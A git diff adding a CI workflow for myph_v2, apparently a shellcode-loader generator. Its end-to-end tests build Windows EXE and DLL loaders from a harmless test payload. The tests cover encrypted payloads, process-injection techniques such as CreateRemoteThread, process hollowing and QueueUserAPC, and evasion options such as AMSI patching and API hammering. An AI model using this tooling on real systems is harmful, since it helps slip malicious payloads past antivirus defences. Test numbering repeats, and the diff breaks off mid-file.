myph-v2

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
@@ -0,0 +1,1125 @@
+name: CI
+
+on:
+  push:
+    branches: [ stable ]
+  pull_request:
+    branches: [ stable ]
+
+env:
+  CARGO_TERM_COLOR: always
+  RUST_VERSION: 1.85.0
+
+permissions:
+  contents: read
+
+jobs:
+  check:
+    name: Check
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Run cargo check
+        run: cargo check --verbose
+
+  test:
+    name: Test
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Run tests
+        run: cargo test --verbose
+
+  e2e-test:
+    name: End-to-End Test
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+          targets: x86_64-pc-windows-gnu
+
+      - name: Install cross-compilation tools
+        run: sudo apt-get update && sudo apt-get install -y mingw-w64
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
+          key: ${{ runner.os }}-cargo-build-target-${{ hashFiles('**/Cargo.lock', 'build.rs', 'src/internals/templates/**/*.rs') }}
+
+      - name: Build release binary
+        run: cargo build --release --verbose
+
+      - name: Run end-to-end test
+        run: |
+          # Create a test directory
+          mkdir -p e2e-test
+          cd e2e-test
+          
+          # Create a test shellcode file
+          echo -ne '\x90\x90\x90\xc3' > test_shellcode.raw
+          echo "✓ Created test shellcode file (4 bytes)"
+          
+          # Test 1: EXE binary generation with default encryption (AES)
+          echo "=== Test 1: EXE binary with AES encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_aes.exe -e aes
+          
+          # Verify the EXE binary was created
+          if [ ! -f "test_aes.exe" ]; then
+            echo "Error: Binary 'test_aes.exe' was not created"
+            exit 1
+          fi
+          
+          # Verify it's a Windows PE executable
+          if file test_aes.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ EXE is a Windows PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          if file test_aes.exe | grep -q "stripped"; then
+            echo "✓ EXE binary is stripped"
+          else
+            echo "Warning: EXE binary may not be stripped"
+          fi
+          
+          BINARY_SIZE=$(stat -f%z test_aes.exe 2>/dev/null || stat -c%s test_aes.exe)
+          echo "✓ EXE binary size: $BINARY_SIZE bytes"
+          
+          # Test 2: EXE binary generation with ChaCha20 encryption
+          echo ""
+          echo "=== Test 2: EXE binary with ChaCha20 encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_chacha20.exe -e chacha20
+          
+          if [ ! -f "test_chacha20.exe" ]; then
+            echo "Error: Binary 'test_chacha20.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_chacha20.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ ChaCha20 encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 3: EXE binary generation with XOR encryption
+          echo ""
+          echo "=== Test 3: EXE binary with XOR encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_xor.exe -e xor
+          
+          if [ ! -f "test_xor.exe" ]; then
+            echo "Error: Binary 'test_xor.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_xor.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ XOR encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 4: EXE binary generation with Blowfish encryption
+          echo ""
+          echo "=== Test 4: EXE binary with Blowfish encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_blowfish.exe -e blowfish
+          
+          if [ ! -f "test_blowfish.exe" ]; then
+            echo "Error: Binary 'test_blowfish.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_blowfish.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Blowfish encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 5: DLL binary generation with encrypted shellcode
+          echo ""
+          echo "=== Test 5: DLL binary with AES encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_output.dll -b dll -e aes
+          
+          # Verify the DLL binary was created
+          if [ ! -f "test_output.dll" ]; then
+            echo "Error: DLL 'test_output.dll' was not created"
+            exit 1
+          fi
+          
+          # Verify it's a Windows PE DLL
+          if file test_output.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ DLL is a Windows PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          if file test_output.dll | grep -q "stripped"; then
+            echo "✓ DLL binary is stripped"
+          else
+            echo "Warning: DLL binary may not be stripped"
+          fi
+          
+          DLL_SIZE=$(stat -f%z test_output.dll 2>/dev/null || stat -c%s test_output.dll)
+          echo "✓ DLL binary size: $DLL_SIZE bytes"
+          
+          # Test 6: EXE binary generation with fixed key (AES)
+          echo ""
+          echo "=== Test 6: EXE binary with AES encryption and fixed key ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_aes_fixed_key.exe -e aes -k "MyFixedKey12345"
+          
+          if [ ! -f "test_aes_fixed_key.exe" ]; then
+            echo "Error: Binary 'test_aes_fixed_key.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_aes_fixed_key.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AES encrypted binary with fixed key is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 7: EXE binary generation with fixed key (XOR)
+          echo ""
+          echo "=== Test 7: EXE binary with XOR encryption and fixed key ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_xor_fixed_key.exe -e xor -k "SecretXORKey"
+          
+          if [ ! -f "test_xor_fixed_key.exe" ]; then
+            echo "Error: Binary 'test_xor_fixed_key.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_xor_fixed_key.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ XOR encrypted binary with fixed key is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 8: Verify encrypted shellcode is embedded (should be larger than raw)
+          echo ""
+          echo "=== Test 8: Verify encryption increased embedded data size ==="
+          # Compare sizes - encrypted should be larger due to IV/nonce
+          ORIGINAL_SIZE=4
+          echo "Original shellcode size: $ORIGINAL_SIZE bytes"
+          echo "Note: Encrypted shellcode in binary should be larger due to IV/nonce/padding"
+          echo "✓ Encryption is applied before embedding"
+          
+          # Test 9: CRT (CreateRemoteThread) technique with notepad.exe
+          echo ""
+          echo "=== Test 9: EXE binary with CRT technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_crt.exe -e aes --technique crt --process notepad.exe
+          
+          if [ ! -f "test_crt.exe" ]; then
+            echo "Error: Binary 'test_crt.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_crt.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ CRT technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 10: CRTx (CreateRemoteThreadEx) technique with cmd.exe
+          echo ""
+          echo "=== Test 10: EXE binary with CRTx technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_crtx.exe -e xor --technique crtx --process cmd.exe
+          
+          if [ ! -f "test_crtx.exe" ]; then
+            echo "Error: Binary 'test_crtx.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_crtx.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ CRTx technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 11: EnumCalendar technique (no process injection)
+          echo ""
+          echo "=== Test 11: EXE binary with EnumCalendar technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_enum_calendar.exe -e chacha20 --technique enum-calendar
+          
+          if [ ! -f "test_enum_calendar.exe" ]; then
+            echo "Error: Binary 'test_enum_calendar.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_enum_calendar.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ EnumCalendar technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 12: DLL with CRT technique
+          echo ""
+          echo "=== Test 12: DLL binary with CRT technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_crt.dll -b dll -e aes --technique crt --process explorer.exe
+          
+          if [ ! -f "test_crt.dll" ]; then
+            echo "Error: DLL 'test_crt.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_crt.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ CRT technique DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          # Test 13: CreateFiber technique
+          echo ""
+          echo "=== Test 13: EXE binary with CreateFiber technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_create_fiber.exe -e xor --technique create-fiber
+          
+          if [ ! -f "test_create_fiber.exe" ]; then
+            echo "Error: Binary 'test_create_fiber.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_create_fiber.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ CreateFiber technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 14: Etwp technique
+          echo ""
+          echo "=== Test 14: EXE binary with Etwp technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_etwp.exe -e aes --technique etwp
+          
+          if [ ! -f "test_etwp.exe" ]; then
+            echo "Error: Binary 'test_etwp.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_etwp.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Etwp technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 15: NtCreateThreadEx technique
+          echo ""
+          echo "=== Test 15: EXE binary with NtCreateThreadEx technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_nt_create_thread_ex.exe -e chacha20 --technique nt-create-thread-ex
+          
+          if [ ! -f "test_nt_create_thread_ex.exe" ]; then
+            echo "Error: Binary 'test_nt_create_thread_ex.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_nt_create_thread_ex.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ NtCreateThreadEx technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 16: ProcessHollowing technique
+          echo ""
+          echo "=== Test 16: EXE binary with ProcessHollowing technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_process_hollowing.exe -e blowfish --technique process-hollowing --process notepad.exe
+          
+          if [ ! -f "test_process_hollowing.exe" ]; then
+            echo "Error: Binary 'test_process_hollowing.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_process_hollowing.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ ProcessHollowing technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 17: SetTimer technique
+          echo ""
+          echo "=== Test 17: EXE binary with SetTimer technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_set_timer.exe -e xor --technique set-timer
+          
+          if [ ! -f "test_set_timer.exe" ]; then
+            echo "Error: Binary 'test_set_timer.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_set_timer.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ SetTimer technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 18: Syscall technique
+          echo ""
+          echo "=== Test 18: EXE binary with Syscall technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_syscall.exe -e aes --technique syscall
+          
+          if [ ! -f "test_syscall.exe" ]; then
+            echo "Error: Binary 'test_syscall.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_syscall.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Syscall technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 19: EnumWindows technique
+          echo ""
+          echo "=== Test 19: EXE binary with EnumWindows technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_enum_windows.exe -e chacha20 --technique enum-windows
+          
+          if [ ! -f "test_enum_windows.exe" ]; then
+            echo "Error: Binary 'test_enum_windows.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_enum_windows.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ EnumWindows technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 20: EnumSystemLocales technique
+          echo ""
+          echo "=== Test 20: EXE binary with EnumSystemLocales technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_enum_system_locales.exe -e blowfish --technique enum-system-locales
+          
+          if [ ! -f "test_enum_system_locales.exe" ]; then
+            echo "Error: Binary 'test_enum_system_locales.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_enum_system_locales.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ EnumSystemLocales technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 21: QueueUserAPC technique
+          echo ""
+          echo "=== Test 21: EXE binary with QueueUserAPC technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_queue_user_apc.exe -e xor --technique queue-user-apc
+          
+          if [ ! -f "test_queue_user_apc.exe" ]; then
+            echo "Error: Binary 'test_queue_user_apc.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_queue_user_apc.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ QueueUserAPC technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 22: EXE binary with API Hammering
+          echo ""
+          echo "=== Test 22: EXE binary with API Hammering (AES encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_api_hammering.exe -e aes --with-api-hammering
+          
+          if [ ! -f "test_api_hammering.exe" ]; then
+            echo "Error: Binary 'test_api_hammering.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_api_hammering.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ API Hammering binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 23: DLL binary with API Hammering  
+          echo ""
+          echo "=== Test 23: DLL binary with API Hammering (XOR encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_api_hammering.dll -b dll -e xor --with-api-hammering --technique crt --process notepad.exe
+          
+          if [ ! -f "test_api_hammering.dll" ]; then
+            echo "Error: DLL 'test_api_hammering.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_api_hammering.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ API Hammering DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          # Test 24: EXE binary with AMSI Patch
+          echo ""
+          echo "=== Test 24: EXE binary with AMSI Patch (AES encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_amsi_patch.exe -e aes --with-amsi-patch
+          
+          if [ ! -f "test_amsi_patch.exe" ]; then
+            echo "Error: Binary 'test_amsi_patch.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_amsi_patch.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AMSI Patch binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 25: DLL binary with AMSI Patch
+          echo ""
+          echo "=== Test 25: DLL binary with AMSI Patch (XOR encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_amsi_patch.dll -b dll -e xor --with-amsi-patch --technique crt --process explorer.exe
+          
+          if [ ! -f "test_amsi_patch.dll" ]; then
+            echo "Error: DLL 'test_amsi_patch.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_amsi_patch.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ AMSI Patch DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          # Test 26: EXE binary with combined features (API Hammering + AMSI Patch)
+          echo ""
+          echo "=== Test 26: EXE binary with API Hammering and AMSI Patch ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_combined.exe -e chacha20 --with-api-hammering --with-amsi-patch --technique crt --process notepad.exe
+          
+          if [ ! -f "test_combined.exe" ]; then
+            echo "Error: Binary 'test_combined.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_combined.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Combined features binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 27: EXE binary with String Encryption
+          echo ""
+          echo "=== Test 27: EXE binary with String Encryption (AES encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_string_encryption.exe -e aes --with-string-encryption
+          
+          if [ ! -f "test_string_encryption.exe" ]; then
+            echo "Error: Binary 'test_string_encryption.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_string_encryption.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ String Encryption binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 28: DLL binary with String Encryption
+          echo ""
+          echo "=== Test 28: DLL binary with String Encryption (XOR encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_string_encryption.dll -b dll -e xor --with-string-encryption --technique crt --process notepad.exe
+          
+          if [ ! -f "test_string_encryption.dll" ]; then
+            echo "Error: DLL 'test_string_encryption.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_string_encryption.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ String Encryption DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          # Test 29: EXE binary with Dynamic Function Resolver
+          echo ""
+          echo "=== Test 29: EXE binary with Dynamic Function Resolver (XOR encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_resolver.exe -e xor --with-dynamic-function-resolver --technique create-fiber
+          
+          if [ ! -f "test_dynamic_resolver.exe" ]; then
+            echo "Error: Binary 'test_dynamic_resolver.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynamic_resolver.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic Function Resolver binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 30: DLL binary with Dynamic Function Resolver
+          echo ""
+          echo "=== Test 30: DLL binary with Dynamic Function Resolver (AES encryption) ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_resolver.dll -b dll -e aes --with-dynamic-function-resolver --technique crt --process notepad.exe
+          
+          if [ ! -f "test_dynamic_resolver.dll" ]; then
+            echo "Error: DLL 'test_dynamic_resolver.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_dynamic_resolver.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ Dynamic Function Resolver DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          # Test 31: Multiple techniques with Dynamic Function Resolver
+          echo ""
+          echo "=== Test 31: Testing Dynamic Function Resolver with multiple techniques ==="
+          
+          echo "Testing EnumCalendar technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_enum.exe -e xor --with-dynamic-function-resolver --technique enum-calendar
+          if [ -f "test_dynamic_enum.exe" ] && file test_dynamic_enum.exe | grep -q "PE32+ executable"; then
+            echo "✓ EnumCalendar with dynamic resolver works"
+          fi
+          
+          echo "Testing SetTimer technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_timer.exe -e aes --with-dynamic-function-resolver --technique set-timer
+          if [ -f "test_dynamic_timer.exe" ] && file test_dynamic_timer.exe | grep -q "PE32+ executable"; then
+            echo "✓ SetTimer with dynamic resolver works"
+          fi
+          
+          echo "Testing Syscall technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_syscall.exe -e chacha20 --with-dynamic-function-resolver --technique syscall
+          if [ -f "test_dynamic_syscall.exe" ] && file test_dynamic_syscall.exe | grep -q "PE32+ executable"; then
+            echo "✓ Syscall with dynamic resolver works"
+          fi
+          
+          echo "Testing Etwp technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_etwp.exe -e blowfish --with-dynamic-function-resolver --technique etwp
+          if [ -f "test_dynamic_etwp.exe" ] && file test_dynamic_etwp.exe | grep -q "PE32+ executable"; then
+            echo "✓ Etwp with dynamic resolver works"
+          fi
+          
+          echo "Testing NtCreateThreadEx technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_nt.exe -e xor --with-dynamic-function-resolver --technique nt-create-thread-ex
+          if [ -f "test_dynamic_nt.exe" ] && file test_dynamic_nt.exe | grep -q "PE32+ executable"; then
+            echo "✓ NtCreateThreadEx with dynamic resolver works"
+          fi
+          
+          echo "Testing CRTx technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_crtx.exe -e aes --with-dynamic-function-resolver --technique crtx --process cmd.exe
+          if [ -f "test_dynamic_crtx.exe" ] && file test_dynamic_crtx.exe | grep -q "PE32+ executable"; then
+            echo "✓ CRTx with dynamic resolver works"
+          fi
+          
+          echo "Testing ProcessHollowing technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_hollowing.exe -e xor --with-dynamic-function-resolver --technique process-hollowing --process notepad.exe
+          if [ -f "test_dynamic_hollowing.exe" ] && file test_dynamic_hollowing.exe | grep -q "PE32+ executable"; then
+            echo "✓ ProcessHollowing with dynamic resolver works"
+          fi
+          
+          echo "Testing EnumWindows technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_enum_windows.exe -e aes --with-dynamic-function-resolver --technique enum-windows
+          if [ -f "test_dynamic_enum_windows.exe" ] && file test_dynamic_enum_windows.exe | grep -q "PE32+ executable"; then
+            echo "✓ EnumWindows with dynamic resolver works"
+          fi
+          
+          echo "Testing EnumSystemLocales technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_enum_locales.exe -e chacha20 --with-dynamic-function-resolver --technique enum-system-locales
+          if [ -f "test_dynamic_enum_locales.exe" ] && file test_dynamic_enum_locales.exe | grep -q "PE32+ executable"; then
+            echo "✓ EnumSystemLocales with dynamic resolver works"
+          fi
+          
+          echo "Testing QueueUserAPC technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_queue_apc.exe -e blowfish --with-dynamic-function-resolver --technique queue-user-apc
+          if [ -f "test_dynamic_queue_apc.exe" ] && file test_dynamic_queue_apc.exe | grep -q "PE32+ executable"; then
+            echo "✓ QueueUserAPC with dynamic resolver works"
+          fi
+          
+          echo ""
+          echo "✓ All end-to-end tests passed!"
+          
+          # Test 29: AMSI Patch with String Encryption
+          echo ""
+          echo "=== Test 29: AMSI Patch with String Encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_amsi_string_enc.exe -e aes --with-amsi-patch --with-string-encryption
+          
+          if [ ! -f "test_amsi_string_enc.exe" ]; then
+            echo "Error: Binary 'test_amsi_string_enc.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_amsi_string_enc.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AMSI Patch with String Encryption binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 30: AMSI Patch with Dynamic Function Resolver
+          echo ""
+          echo "=== Test 30: AMSI Patch with Dynamic Function Resolver ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_amsi_dynamic.exe -e xor --with-amsi-patch --with-dynamic-function-resolver --technique create-fiber
+          
+          if [ ! -f "test_amsi_dynamic.exe" ]; then
+            echo "Error: Binary 'test_amsi_dynamic.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_amsi_dynamic.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AMSI Patch with Dynamic Function Resolver binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 31: AMSI Patch with both String Encryption and Dynamic Function Resolver
+          echo ""
+          echo "=== Test 31: AMSI Patch with String Encryption and Dynamic Function Resolver ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_amsi_both.exe -e chacha20 --with-amsi-patch --with-string-encryption --with-dynamic-function-resolver --technique syscall
+          
+          if [ ! -f "test_amsi_both.exe" ]; then
+            echo "Error: Binary 'test_amsi_both.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_amsi_both.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AMSI Patch with both String Encryption and Dynamic Function Resolver is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          echo ""
+          echo "✓ All end-to-end tests passed!"
+          echo "✓ Tested 4 encryption algorithms (AES, ChaCha20, XOR, Blowfish)"
+          echo "✓ Tested 2 binary formats (EXE, DLL)"
+          echo "✓ Tested fixed key encryption (AES, XOR)"
+          echo "✓ Tested 12 techniques (CRT, CRTx, EnumCalendar, EnumWindows, EnumSystemLocales, CreateFiber, Etwp, NtCreateThreadEx, ProcessHollowing, QueueUserAPC, SetTimer, Syscall)"
+          echo "✓ Tested API Hammering feature"
+          echo "✓ Tested AMSI Patch feature"
+          echo "✓ Tested combined features (API Hammering + AMSI Patch)"
+          echo "✓ Tested String Encryption feature"
+          echo "✓ Tested Dynamic Function Resolver feature"
+          echo "✓ Tested Dynamic Function Resolver with all 9 techniques"
+          echo "✓ Tested AMSI Patch with String Encryption"
+          echo "✓ Tested AMSI Patch with Dynamic Function Resolver"
+          echo "✓ Tested AMSI Patch with both String Encryption and Dynamic Function Resolver"
+          echo "✓ Tested Dynamic Function Resolver with all 12 techniques"
+
+  fmt:
+    name: Format
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+          components: rustfmt
+
+      - name: Check formatting
+        run: cargo fmt -- --check
+
+  clippy:
+    name: Clippy
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Install Rust toolchain
+        uses: dtolnay/rust-toolchain@stable
+        with:
+          toolchain: ${{ env.RUST_VERSION }}
+          components: clippy
+
+      - name: Cache cargo registry
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/registry
+          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo index
+        uses: actions/cache@v4
+        with:
+          path: ~/.cargo/git
+          key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+      - name: Cache cargo build
+        uses: actions/cache@v4
+        with:
+          path: target
